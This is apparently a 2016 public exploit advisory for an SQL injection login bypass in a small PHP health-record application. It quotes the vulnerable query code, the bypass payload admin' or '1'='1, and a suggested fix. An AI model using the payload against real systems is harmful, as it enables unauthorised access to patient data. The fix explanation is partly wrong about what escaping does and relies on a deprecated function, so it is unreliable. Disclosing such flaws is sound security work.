# Exploit Title.............. Health Record System Auth Bypass # Google Dork................ N/A # Date....................... 14/10/2016 # Exploit Author............. lahilote # Vendor Homepage............ http://www.sourcecodester.com/node/10430 # Software Link.............. http://www.sourcecodester.com/sites/default/files/download/Jesutoyeboluwatife/vital.zip # Version.................... 0.1 # Tested on.................. xampp # CVE........................ N/A The audit_list in vital/signin.php ------------------------------- ----snip---- if (isset($_POST['submit'])){ $lga_id=$_POST['lgaid']; $pw=$_POST['pwd']; $_SESSION['username'] = $lga_id; $sql=mysql_query("SELECT * FROM admin WHERE lga_id='$lga_id' AND password='$pw' "); ----snip---- You can login with username and password: admin' or '1'='1 How to fix ---------- One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string. It causes that every of this characters \x00, \n, \r, \, ' get's replaced with a simple Backslash „/“, so the attackers commands become useless. Example: if (isset($_POST['submit'])){ $lga_id=mysql_real_escape_string($_POST['lgaid']); $pw=mysql_real_escape_string($_POST['pwd']); $_SESSION['username'] = $lga_id; $sql=mysql_query("SELECT * FROM admin WHERE lga_id='$lga_id' AND password='$pw' "); Credits ------- This vulnerability was discovered and researched by lahilote References ---------- http://www.sourcecodester.com/node/10430 http://php.net/manual/en/function.mysql-real-escape-string.php